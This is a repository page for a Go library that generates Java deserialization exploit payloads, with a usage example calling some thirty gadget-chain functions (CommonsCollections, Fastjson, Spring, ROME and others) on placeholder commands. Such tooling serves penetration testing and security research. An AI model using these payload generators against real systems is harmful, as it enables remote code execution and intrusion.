• Stars
    star
    141
  • Rank 259,971 (Top 6 %)
  • Language
    Go
  • Created over 1 year ago
  • Updated 8 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

A Go library for generating Java deserialization payloads.

当用GO写JAVA反序列化EXP的时候, 每次都要重写生成,调用不方便时, 可以使用本库

使用方法示例

package main

import (
	"encoding/hex"
	"fmt"
        "github.com/nu1r/GlangYsoserial"
)

func main() {
    // 如果你需要使用使用 TemplatesImpl 类实现的Gadget, 但是又懒得去JAVA实现后输出,可以调用 TemplatesImpl 函数的返回值作为参数
	fmt.Println(hex.Dump(ysoserial.TemplatesImpl("example command")))

	fmt.Println(hex.Dump(ysoserial.URLDNS("example domain")))
	fmt.Println(hex.Dump(ysoserial.Click1([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Clojure("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsBeanutils1([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsBeanutils2([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections1("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections2([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections3([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections4([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections5("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections6("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections7("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections8([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections9("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections10([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections11("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollections12("example command")))
	fmt.Println(hex.Dump(ysoserial.CommonsCollectionsK1([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.CommonsCollectionsK2([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Fastjson1([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Fastjson2([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Groovy1("example command")))
	fmt.Println(hex.Dump(ysoserial.Jdk7u21([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Jdk8u20([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.JSON1([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.ROME([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.ROME2([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.ROME3([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Spring1([]byte("example bytes"))))
	fmt.Println(hex.Dump(ysoserial.Spring2([]byte("example bytes"))))
}